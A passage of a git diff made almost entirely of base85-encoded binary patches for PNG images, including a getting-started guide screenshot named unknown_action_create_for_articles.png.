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 diff --git a/public/images/getting_started/unknown_action_create_for_articles.png b/public/images/getting_started/unknown_action_create_for_articles.png index fd20cd53dc18daf010eb3e70b094fca6851bec2e..ec4758e085c6460f3b33f7dbfb6bb6d98cb70829 100644 GIT binary patch literal 4808 zcmbtYXHXN|(x!JpKsrQ16H$7R5_sudI!K9hDbjmY0-*$H(p02Nmlvcrsi6tdOX$P^ zK{^CPM1*j8zq#|x{dwp6cAhzNcJ|E9v$N0HAN$J4K#P`&or-{ffL2Fa-GqRE$olr~ zO+j>f`szOrB_LpUt)s4D7D{-4s;7(+1IAC&1aw6#%6~}lpn#V_78fD#GI*J0TEwZY z4o39!O*Ujp-5ZdLT#KEf$1%H(HF=Z(=84;H8lD0Ipl3a}j|{yofHA6OF> zjm4%}BG8?^3s{`}HhZYE6&zO>cHZo@((*s}Uhh?X&4Law-9`l)6y~o6et&M7f9zNl z;qDQh`MYI~Qh2X^>gRVRzUMLF@`Xy2a-7^1vnM;Yx|0CA5`l=Xtjx^EYu-ig)5Tr1 z2j5WRuU6|8?wp5T$B~-1`e4Vhfz9nFlj%`~Qm&JEj9tH8`>3V5I zc6HZZPO-2a@qVut)7&j(MjA~m$0f8Ti} zy#GgHHpo;ZNXLug?}wR?W}Nd}Jwqp{rc9Aq%u7l95GheK7{3dg8|+hd=oVP#wL85J z37)bx-1<2x&7PRV0F{xN_dGG!mVx*Qb5603?6bUxST9HIIfi;Fyn*=0Lmlm*LRlas z#?iUc0D+Q+`>|H%;oi&caTkAjzu;?uTsl!q;H!(f9=;0QhJ85} zFZhU#Q_3-dGmH`eWG#b4Zug8#VpmQMDCAsHIhdVuidAjjN`|Pdw zy;;Hhxv6wV&TW$^^?C77HaL>C z?Aq(bbnK2!kkk(*`V!T>j~f9&Sz)jD{S=3}C zMo@^?;pC`B`YPm7R)o5>x@0uZD)WTC4xy_d7H1FE|J@*wTxd=1Sn#1rcR!X(h1R;S zR=PqBaz1{wbgLK)Oa-y$A^u^c);jE(OM$~*uBYIhFgCB&v2`peDrmyUZa-X{?=yvV zwzxlmE0y1F=w-qxdnvN}>0gn(@8b3?8sdfwYf4U+%a)<^H1lDQ);Rm3>Y*rr*Q(49 zR~8Bq_zfwDhjj3`;f%Y>W85W`YoZaKC)BY6WGdK^eI}uOxHe)b$^P9^do7fP(N;5M za@2VNAy3l#g;GC~@JoQSpj^^w_Hf)gUrw*mSo`OcwdySlk9texeY98-8HBvNi9tC> 